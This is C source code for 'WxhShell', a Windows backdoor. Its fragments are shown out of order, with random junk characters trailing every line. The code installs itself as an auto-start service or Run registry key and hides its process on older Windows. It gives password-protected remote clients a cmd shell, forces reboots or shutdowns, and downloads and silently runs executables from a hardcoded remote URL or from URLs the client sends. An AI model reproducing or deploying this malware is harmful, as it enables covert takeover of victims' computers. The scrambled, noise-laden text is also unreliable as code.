    if(Boot(SHUTDOWN)) ^v@4|E$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F("#^$  
    else { [|3>MZ2/  
    closesocket(wsh); 56Z\-=KAU  
    ExitThread(0); a3 >zoN  
    } GBC*>Y  
    break; N=)z  
    } i o3yLIy,  
  // 获取shell *+b6B_u]  
  case 's': { <p?&udqD  
    CmdShell(wsh); -sMytHH.  
    closesocket(wsh); 8g >b  
    ExitThread(0); [!VOw@uz  
    break; U#o'H @  
  } 6R29$D|HFO  
  // 退出 *AIEl"29  
  case 'x': { 9=/N|m8.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Bz`yfl2  
    CloseIt(wsh); )P>u9=?,=E  
    break; D8# on!  
    } V=:_d,  
  // 离开 pNE(n4v  
  case 'q': { jUqy8q&  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); PZD>U)M  
    closesocket(wsh); rB%$;<`/  
    WSACleanup(); =N|kn<h4  
    exit(1); ^SfS~G Q  
    break; VIR.yh  
        } 5ZAb]F90  
  } xDO7A5  
  } gX?n4Csy'  
9%iFV N'  
  // 提示信息 d= ]U_+  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s Fgadz6O  
} bxXiQa  
  } U~2`P  
oT|m1aGE  
  return; ]^\8U2q}  
} br,+45:  
xqHL+W  
// shell模块句柄 ; W7Y2Md  
int CmdShell(SOCKET sock) s-V SH  
{ *xM/ ;)  
STARTUPINFO si;  [&P`ak  
ZeroMemory(&si,sizeof(si)); Ld|V^9h1;  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~L+]n0*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; cub <G!K  
PROCESS_INFORMATION ProcessInfo; p11G#.0  
char cmdline[]="cmd"; &4$oudn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); WO,xMfK  
  return 0; [ev-^[  
} cVq}c?  
wX'}4Z=C~  
// 自身启动模式 $rG<uO  
int StartFromService(void) B">yKB:D}t  
{ 3An(jt$%Q  
typedef struct 1;W=!Fx  
{ Z#Lx_*p]Q  
  DWORD ExitStatus; 8Xm@r#Oy5  
  DWORD PebBaseAddress; u=qPzmywt  
  DWORD AffinityMask; <2P7utdZ  
  DWORD BasePriority; )8{6+{5lu  
  ULONG UniqueProcessId; j:1uP^.  
  ULONG InheritedFromUniqueProcessId; =`I?mn&  
}   PROCESS_BASIC_INFORMATION; 3,.% s  
-0,4eg j3  
PROCNTQSIP NtQueryInformationProcess; +EASAq  
8kW/DcLE  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; %TK&)Q% h5  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; O=jN&<rb  
h#3m4<w(9  
  HANDLE             hProcess; |j_`z@7(  
  PROCESS_BASIC_INFORMATION pbi; hE!7RM+Y  
]X" / yAn  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LBX%HGH  
  if(NULL == hInst ) return 0; Wtv#h~jy9  
[l[{6ZXt  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "'eWn6O(  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Uk-HP\C"7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); BGjb`U#%3  
ZxS&4>.  
  if (!NtQueryInformationProcess) return 0; 3DoRE2}  
~/`X*n&  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  ?B4#f!X  
  if(!hProcess) return 0; SQKt}kDbM  
=2oUZjA  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; vg5NY =O  
B2hfD-h,>  
  CloseHandle(hProcess); P&t;WPZ  
Dc FCKji  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R^Bk]  
if(hProcess==NULL) return 0; } 21j  
.u< U:*  
HMODULE hMod; '>^Xqn  
char procName[255]; "r-l8r,  
unsigned long cbNeeded; xtJAMo>g  
_IYY08&(r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); t>U!Zal"  
gEKO128  
  CloseHandle(hProcess); qB JRS'6'9  
XU#,Bu{  
if(strstr(procName,"services")) return 1; // 以服务启动 :k1$g+(lP  
Z! YpklZ?~  
  return 0; // 注册表启动 4 10:%WGc  
} ULvVD6RQ47  
AA7#c7  
// 主模块 aii'}c  
int StartWxhshell(LPSTR lpCmdLine) BQ#jwu0e  
{ <"I?jgo  
  SOCKET wsl; VC=6uB  
BOOL val=TRUE; `$9L^Yg,4  
  int port=0; 31 ] 7z  
  struct sockaddr_in door; [~?M/QI9  
?0npEz|  
  if(wscfg.ws_autoins) Install(); )Z:m)k>r;  
~.Q4c*_b  
port=atoi(lpCmdLine); h3h8lt_ |  
P{lh)m>  
if(port<=0) port=wscfg.ws_port; j<$R4A 1  
f8!l7{2%q  
  WSADATA data; sfC@*Y2XT  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;Prg'R[o;  
2k3 z'RLG  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   FR'b`Xv:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _5h0@^m7y  
  door.sin_family = AF_INET; 6{^*JC5nj  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cMtJy"kK  
  door.sin_port = htons(port); Mw|SH;nM  
#KJZR{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ' PL_~  
closesocket(wsl); s?<!&Y  
return 1; +UaO<L  
} dP3VJ3+ %  
t~~r-V":  
  if(listen(wsl,2) == INVALID_SOCKET) { kGj]i@(PA4  
closesocket(wsl); td/5Bmj  
return 1; Vw?P.4  
} Ty}R^cy{d  
  Wxhshell(wsl); bBFwx@  
  WSACleanup(); ;8EjjF [>  
) ]]|d  
return 0; U$EM.ot  
G4"lZM  
} 0nT%Slbih  
TA9dkYlE/  
// 以NT服务方式启动 YUS?]~XC7x  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 165WO}(;/  
{ 2HVCXegq  
DWORD   status = 0; |lHFo{8"  
  DWORD   specificError = 0xfffffff; KF4see;;  
Ei|0L$NCg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Zr R+QV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; I~'gK8<e7  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7C YH'DL  
  serviceStatus.dwWin32ExitCode     = 0; Rh yegD  
  serviceStatus.dwServiceSpecificExitCode = 0; sx90lsu  
  serviceStatus.dwCheckPoint       = 0; |Rk37P {  
  serviceStatus.dwWaitHint       = 0; 4Qhx[Hv>(  
aZC*7AK   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _3zU,qm+  
  if (hServiceStatusHandle==0) return; zCM^r <Kr  
! fX9*0L  
status = GetLastError(); k2wBy'M .'  
  if (status!=NO_ERROR) j>V"hf  
{ =*[, *A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; mC "7)&,F  
    serviceStatus.dwCheckPoint       = 0; 0. (zTJ  
    serviceStatus.dwWaitHint       = 0; _AAx )  
    serviceStatus.dwWin32ExitCode     = status; 3v G  
    serviceStatus.dwServiceSpecificExitCode = specificError; w=gQ3j#s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U!_sh<  
    return; 7~lB}$L  
  } NB3/A"}"02  
`lvh\[3^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s V&`0N  
  serviceStatus.dwCheckPoint       = 0; &8juS,b  
  serviceStatus.dwWaitHint       = 0; 78^Y;2 P]W  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =>.DD<g"  
} j@_nI~7f}  
r8<JX5zyuo  
// 处理NT服务事件,比如:启动、停止 {Wr\D Vp  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dY 6B%V  
{ (J/>Gy)d  
switch(fdwControl) NywB 3  
{ j5'.P~  
case SERVICE_CONTROL_STOP: 2;O  c^  
  serviceStatus.dwWin32ExitCode = 0; T?Z OHH8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; %pd5w~VP  
  serviceStatus.dwCheckPoint   = 0; ?#U0eb5u  
  serviceStatus.dwWaitHint     = 0; 0\QYf0o   
  { IZ|c <#r6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); dV$3u"9  
  } "C?:T'dW  
  return; rkbl/py  
case SERVICE_CONTROL_PAUSE: 5~*=#v:`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; a_xQ~:H  
  break; d!w1t=2H  
case SERVICE_CONTROL_CONTINUE: 0%#t[us Y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ?i/73H+;D3  
  break; uFMs ^^#  
case SERVICE_CONTROL_INTERROGATE: a =9vS{  
  break; o&WRta>VP  
}; K@y-)I2]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J,MT^B  
} @ 8A{ 9i  
Hu[8HzJo  
// 标准应用程序主函数 r .{rNR  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) u_h=nk  
{ e1:u1(".  
(}VuiNY<3  
// 获取操作系统版本 U[blq M  
OsIsNt=GetOsVer(); @F>[DW]O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nm<L&11  
p, !1 3X  
  // 从命令行安装 (Be$$W  
  if(strpbrk(lpCmdLine,"iI")) Install(); R %Rv  
N=hSqw[  
  // 下载执行文件 3`mC"a b /  
if(wscfg.ws_downexe) { ::kpl2r\c  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B'NS&7+].  
  WinExec(wscfg.ws_filenam,SW_HIDE); zUvB0\{q  
} i%#th'C!P  
5R$=^gE  
if(!OsIsNt) { :Fw *r|  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,P;8 }yQ  
HideProc(); W,0KBkkp  
StartWxhshell(lpCmdLine); 7)g;Wd+H  
} ^[k6]1h  
else K'>P!R:El  
  if(StartFromService()) l!xgtP K  
  // 以服务方式启动 IEKMa   
  StartServiceCtrlDispatcher(DispatchTable); C!CaGf=  
else Fmy1nZ   
  // 普通方式启动 ABd153oW"  
  StartWxhshell(lpCmdLine); 8JQ<LrIt9  
}M;sz  
return 0; X`8Y[Vb3}  
} zS&7[:IRs'  
=>E44v  
2 rbX8Y  
[YL sEo=  
=========================================== WBIQ%XB'  
(, ;MC/l  
][s*~VK;  
>b[4  
!pE>O-| K  
q8&4=eV\A  
" H620vlC}V  
D/+@d:-G  
#include <stdio.h> T\<M?`Y  
#include <string.h> NB~*sP-l&  
#include <windows.h> p{('KE)  
#include <winsock2.h> NZC<m$')  
#include <winsvc.h> U"jUMOMZ;  
#include <urlmon.h> <m|FccvQ  
Vs2v j  
#pragma comment (lib, "Ws2_32.lib") krnvFZRTQ  
#pragma comment (lib, "urlmon.lib") N^nDWK  
d!a2[2Us  
#define MAX_USER   100 // 最大客户端连接数 BxW||O|_N"  
#define BUF_SOCK   200 // sock buffer =|DkD- O  
#define KEY_BUFF   255 // 输入 buffer $i5G7b  
s.k`];wo  
#define REBOOT     0   // 重启 _rWTw+ L  
#define SHUTDOWN   1   // 关机 (7 ]\p  
{Tjtj@-  
#define DEF_PORT   5000 // 监听端口 *X"F:7  
?dATMmT-  
#define REG_LEN     16   // 注册表键长度 X.r!q1_c  
#define SVC_LEN     80   // NT服务名长度 +'{:zN5m  
[U+<uZzOC  
// 从dll定义API 2/a04qA#  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7~Xu71^3s  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); C5W-B8>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); OV0cr  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); dNS9<8JX  
R[2[[M  
// wxhshell配置信息 'Gm!Jblo@  
struct WSCFG { K~9 jin  
  int ws_port;         // 监听端口 kC,DW%Ls  
  char ws_passstr[REG_LEN]; // 口令 1{Sx V  
  int ws_autoins;       // 安装标记, 1=yes 0=no d@`-!"  
  char ws_regname[REG_LEN]; // 注册表键名 qrORP3D@  
  char ws_svcname[REG_LEN]; // 服务名 }VJ hw*s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Ezo" f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |\{J` 5gr  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {/,+_E/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no wE.@0  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" noD7G2o  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Tk2&{S"  
*1;L,*J"|  
}; d3\l9R{}  
.WPuQZ!  
// default Wxhshell configuration dzk?Zg  
struct WSCFG wscfg={DEF_PORT, >u%[J!Y;;  
    "xuhuanlingzhe", ).@)t:uNa  
    1, !*$'fn'bAA  
    "Wxhshell", |x}&wFV  
    "Wxhshell", )gm\e?^   
            "WxhShell Service", ek_i{'hFd  
    "Wrsky Windows CmdShell Service", d,E/9y\e  
    "Please Input Your Password: ", kB!M[[t  
  1, aNh1e^j  
  "http://www.wrsky.com/wxhshell.exe", <jg wdbT"6  
  "Wxhshell.exe" jAK`96+D~b  
    }; \)s 3]/"7  
r]K0 ]h@B  
// 消息定义模块 0v,`P4_k  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; YH:W]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; >O[^\H!\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; >goAf`sqo  
char *msg_ws_ext="\n\rExit."; V0wC@?  
char *msg_ws_end="\n\rQuit."; .(.G`aKnF  
char *msg_ws_boot="\n\rReboot..."; gP"Mu#/D  
char *msg_ws_poff="\n\rShutdown..."; !IrKou)/_  
char *msg_ws_down="\n\rSave to "; 5juCeG+Z  
sC'A_-'  
char *msg_ws_err="\n\rErr!"; ,YuWz$aF{  
char *msg_ws_ok="\n\rOK!"; B3i=pcef  
q'U-{~q%  
char ExeFile[MAX_PATH]; H#d! `  
int nUser = 0; w2mlqy2L  
HANDLE handles[MAX_USER]; 1QdB`8in  
int OsIsNt; .bl/At3A  
Wg3WE1V  
SERVICE_STATUS       serviceStatus; -$Z-hxs^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; f+(w(~O  
trNK9@wT)  
// 函数声明 -_H2FlB  
int Install(void); ?R~Ye  
int Uninstall(void); yW7S }I  
int DownloadFile(char *sURL, SOCKET wsh); Y)-)NLLG;n  
int Boot(int flag); P+ h<{%:*  
void HideProc(void); l2_E6U"  
int GetOsVer(void); 5&7?0h+I  
int Wxhshell(SOCKET wsl); RM=+ZmA  
void TalkWithClient(void *cs); xsypIbN  
int CmdShell(SOCKET sock); 2%, ' }Bus  
int StartFromService(void); mZ.6Njb  
int StartWxhshell(LPSTR lpCmdLine); 2QQYXJ^  
z4OR UQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); - G2M;]Cn  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); MLDg).5  
nCmrt*&}  
// 数据结构和表定义 d~oWu [F*  
SERVICE_TABLE_ENTRY DispatchTable[] = Ns] 9-D  
{ 3t}o0Ai9  
{wscfg.ws_svcname, NTServiceMain}, >w2WyYJYH  
{NULL, NULL} p9bxhnn|  
}; B7^n30+L  
h4xf%vA(;  
// 自我安装 %EhU!K#[  
int Install(void) )#TJw@dNf^  
{ ?&bVe__  
  char svExeFile[MAX_PATH]; iPi'5g(a   
  HKEY key; "r(pK@h  
  strcpy(svExeFile,ExeFile); V s t e$V  
D +%k1  
// 如果是win9x系统,修改注册表设为自启动  /o3FK  
if(!OsIsNt) { y8 u)Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5~TA(cb5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); tfU3 6PR  
  RegCloseKey(key); /3HWP`<x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [T&y5"@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UyfIAC$S  
  RegCloseKey(key); ~\(>m=|C:H  
  return 0; /bj`%Q.n  
    } C4K&flk]  
  } 9YsO+7[  
} [A/+tv  
else { #1lS\!  
;eSf4_~  
// 如果是NT以上系统,安装为系统服务 z.F+$6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <'yC:HeAwD  
if (schSCManager!=0) 9w<_XXQ  
{ KQI} 5  
  SC_HANDLE schService = CreateService PL2Q!i`[o  
  ( OX`GN#yl  
  schSCManager, * =N 6_  
  wscfg.ws_svcname, Y:Tt$EQ  
  wscfg.ws_svcdisp, :jp$X|  
  SERVICE_ALL_ACCESS, "S} hcAL/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , +mF 2yh  
  SERVICE_AUTO_START, w9h5f  
  SERVICE_ERROR_NORMAL, w)c#ZJHG  
  svExeFile, K>~cY%3^i  
  NULL, ,#FH8%Yf  
  NULL, tQ<2K*3]  
  NULL, Ji?UG@  
  NULL, 4o8HEq!  
  NULL M L_J<|,J  
  ); ;SP3nU))  
  if (schService!=0) ZQ8Aak  
  { Y2$`o4*3  
  CloseServiceHandle(schService); 5rSth.&  
  CloseServiceHandle(schSCManager); ~./u0E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); I z@x^s  
  strcat(svExeFile,wscfg.ws_svcname); FnU;n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { nff]Y$FB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q\=[v  
  RegCloseKey(key); 5~6y.S  
  return 0; 9Qd'=JQl  
    } O&RHCR-\  
  } `Wt~6D e  
  CloseServiceHandle(schSCManager); Z ' 96d  
} "N"k8,LH  
} _Dt TG<E  
[vT,zM  
return 1; N8Q{4c  
} DEp: vlW@  
7!r`DZ"yF  
// 自我卸载 `Hu ;Gdj=  
int Uninstall(void) vDb}CQ\  
{ !ry+ r!"  
  HKEY key; Vp94mi#L }  
j;vaNg|vQ  
if(!OsIsNt) {  'Z}$V*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :CHd\."%+1  
  RegDeleteValue(key,wscfg.ws_regname); FkkB#Jk4  
  RegCloseKey(key); 0`=?ig_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $~\qoW<  
  RegDeleteValue(key,wscfg.ws_regname); D(GHkS*0q  
  RegCloseKey(key); >FhBl\oIi  
  return 0;  X;g|-<  
  } v2g+o KO]  
} T!E LH!  
} (]dZ+"O{  
else { )Jn80~U|1  
Q)8t;Kx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7 4UE-H)  
if (schSCManager!=0) XcneH jpR  
{ $*ZHk0 7x  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Re>e|$.T  
  if (schService!=0) 1(a\$Di  
  { u' ][3  
  if(DeleteService(schService)!=0) { .;s4T?j@w  
  CloseServiceHandle(schService); ak&v/%N  
  CloseServiceHandle(schSCManager); hR{Zh>  
  return 0; EpMEA1=&  
  } 6Z=H>w  
  CloseServiceHandle(schService); 6.=b^6MV  
  } 1j(,VW  
  CloseServiceHandle(schSCManager); =jh:0Q<43+  
} zt6ep=  
} aPgG+tu  
$Q4b~  
return 1; RT9@&5>il  
} @e/dQ:Fb  
g?sFmD  
// 从指定url下载文件 p^!p7B`qe.  
int DownloadFile(char *sURL, SOCKET wsh) ,|/$|$'  
{ omu&:) g  
  HRESULT hr; o~ed0>D-LS  
char seps[]= "/"; nrS_t y  
char *token; G}*B`m  
char *file; :4d7%q  
char myURL[MAX_PATH]; r Y.:}D  
char myFILE[MAX_PATH]; ,j<"~"] =  
,)G,[ih  
strcpy(myURL,sURL); b*i+uV?  
  token=strtok(myURL,seps); &kBs'P8>  
  while(token!=NULL) !8].Z"5J  
  {  =%`"  
    file=token; zKr(Gt8  
  token=strtok(NULL,seps); [x,&Gwa  
  } K<(R Vh  
}vIm C [  
GetCurrentDirectory(MAX_PATH,myFILE); .}wir,  
strcat(myFILE, "\\"); !NtY4O/  
strcat(myFILE, file); Y'9deX+  
  send(wsh,myFILE,strlen(myFILE),0); \8ZNXCP  
send(wsh,"...",3,0); -D(!B56_  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); E83nEUs  
  if(hr==S_OK) Cz%ih#^b  
return 0; 71InYIed  
else YoA$Gw2  
return 1; O&uOm:/(  
Pe.D[]S  
} We2=|AB  
ZWH`s  
// 系统电源模块 Ns_d10rZ.  
int Boot(int flag) mUxD.;P  
{ HN+z7Q8hH  
  HANDLE hToken; U@WT;:.T  
  TOKEN_PRIVILEGES tkp; OJaU,vQ#  
Nx__zC^r  
  if(OsIsNt) { 5ZLH=8L  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Uan ;}X7@  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (ydeZx  
    tkp.PrivilegeCount = 1; 1A `u0Y$g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; \kx9V|A'  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); =v8q  
if(flag==REBOOT) { AyDK-8a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wpdT "  
  return 0; t$J-6dW  
} w# ['{GL  
else { Y9N:%[ :>W  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) (;N_lF0  
  return 0; ~JJv 2  
} *zcH3a,9"x  
  } X9J^Olq  
  else { 9TLP(  
if(flag==REBOOT) { l; 4F,iI  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) qM)^]2_-  
  return 0; /+iaw~={"  
} SL*(ZEn"  
else { OA;L^d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =0Mmxd&o=M  
  return 0; %Vq@WF  
} Nf1l{N  
} {sLh=iK  
he,T\ };  
return 1; ZyG528O22  
} wC19  
3c)LBM  
// win9x进程隐藏模块 _z;N|Xe  
void HideProc(void) P;GUGG*W  
{ .Kx5Kh {  
0(n/hJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); btOC\bUMfD  
  if ( hKernel != NULL ) dFlx6H+R!0  
  { YeQX13C"Z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &^Io\  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); H5n" !!  
    FreeLibrary(hKernel); ][Kj^7/  
  } pVr,WTr6E  
fqi5 84  
return; :Vg,[\I{  
} +J2=\YO  
I?=Q *og  
// 获取操作系统版本 |b@-1  
int GetOsVer(void) KM6r}CDHs  
{ "(5M }5D  
  OSVERSIONINFO winfo; B*{CcQ<5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KQk;:1hW  
  GetVersionEx(&winfo); $ _zdjzT  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) wS4zAu  
  return 1; ppxu\a  
  else I<$lpU_H  
  return 0; B}vI<?c  
} q8U]Hyp(`  
5%9& 7  
// 客户端句柄模块 ^;'3(m=  
int Wxhshell(SOCKET wsl) _+GCd8d  
{ d(tq;2-  
  SOCKET wsh; /<@oUv  
  struct sockaddr_in client; ?D#Vha  
  DWORD myID; ']V 2V)t  
a 3H S!/  
  while(nUser<MAX_USER) XG0,@Ly  
{ pl%ag~i5  
  int nSize=sizeof(client); ^'}Td~(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); MSA*XDnN  
  if(wsh==INVALID_SOCKET) return 1; M/BBNT  
O!a5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bz@4obRqf  
if(handles[nUser]==0) ? O.&=im_  
  closesocket(wsh); -" DI,o  
else #JVcl $0Y  
  nUser++; '1d-N[  
  } P/27+5(|  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !=a8^CV  
Es?~Dd  
  return 0; $]O\Ryf6  
} :g Ze>  
Ih.o;8PpK  
// 关闭 socket Ji=E 1R  
void CloseIt(SOCKET wsh) VBOq~>V6(v  
{ )UWE.o BI  
closesocket(wsh); do G&qXw  
nUser--; ) yjHABGJ  
ExitThread(0); c| E  
} k1X<jC]P  
EPyFM_k  
// 客户端请求句柄 MVV<&jho{^  
void TalkWithClient(void *cs) Zcc6E2  
{ T\OLysc  
z*:^*,  
  SOCKET wsh=(SOCKET)cs; u ; I5n  
  char pwd[SVC_LEN]; }lhJt|qc  
  char cmd[KEY_BUFF]; /q8n_NR  
char chr[1]; \OOj]gAe  
int i,j; vQA: \!  
$L?stgU  
  while (nUser < MAX_USER) { &DgIykqN  
't wMvm  
if(wscfg.ws_passstr) {  pCv=rK@  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); m~# O ~)  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zp d4uto5  
  //ZeroMemory(pwd,KEY_BUFF); A\WgtM  
      i=0; %6 Bt%H  
  while(i<SVC_LEN) { fuQ? @F  
*8Gx_$t&  
  // 设置超时 d"$ \fL  
  fd_set FdRead; TzVNZDQ`Jl  
  struct timeval TimeOut; ^G15]Pyw  
  FD_ZERO(&FdRead); * ,,D%L  
  FD_SET(wsh,&FdRead); 2&dtOyxo>  
  TimeOut.tv_sec=8; JI(8{ f  
  TimeOut.tv_usec=0; /+%1Kq.hP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Kg9REL@,s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k0%4&pU  
ky,+xq  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }nu hLt1  
  pwd=chr[0]; \07 s'W U  
  if(chr[0]==0xd || chr[0]==0xa) { 8eL[ ,uw  
  pwd=0; V"gnG](2l  
  break; >pr{)bp G  
  } xEGI'lt  
  i++; w<5w?nP+Oh  
    } ]kR 93  
U1dz:OG>  
  // 如果是非法用户,关闭 socket ,_p_p^Ar\4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); aiea& aJ  
} zf#V89!]C"  
j&ddpS(s  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4u A ;--j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); g {wDI7"<q  
JeuW/:Wv  
while(1) { ]x! vPIyq  
5WY..60K,  
  ZeroMemory(cmd,KEY_BUFF); A\gj\&B0"  
aHS.U^2  
      // 自动支持客户端 telnet标准   R|`}z"4C  
  j=0; #}l }1^$  
  while(j<KEY_BUFF) { #BF(#1:  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); +Nyx2(g<m  
  cmd[j]=chr[0]; PoQ@9 A  
  if(chr[0]==0xa || chr[0]==0xd) { WC0@g5;1[  
  cmd[j]=0; v$lP?\P;}X  
  break; UEt #;e  
  } g;Bq#/w  
  j++; ^2XoYgv  
    } &H<-joZ)Z\  
ewD61Y8-  
  // 下载文件 !ZHPR:k|  
  if(strstr(cmd,"http://")) { FX 0^I 0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pJ1GB  
  if(DownloadFile(cmd,wsh)) uG~%/7Qt{  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'Q?nU^:F#  
  else W%@6D|^  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |v:8^C7  
  } j?#S M!f  
  else { R2-OT5Ej  
O]90 F  
    switch(cmd[0]) { ZmUS}   
  9-I;'  
  // 帮助 P*Uu)mG)G  
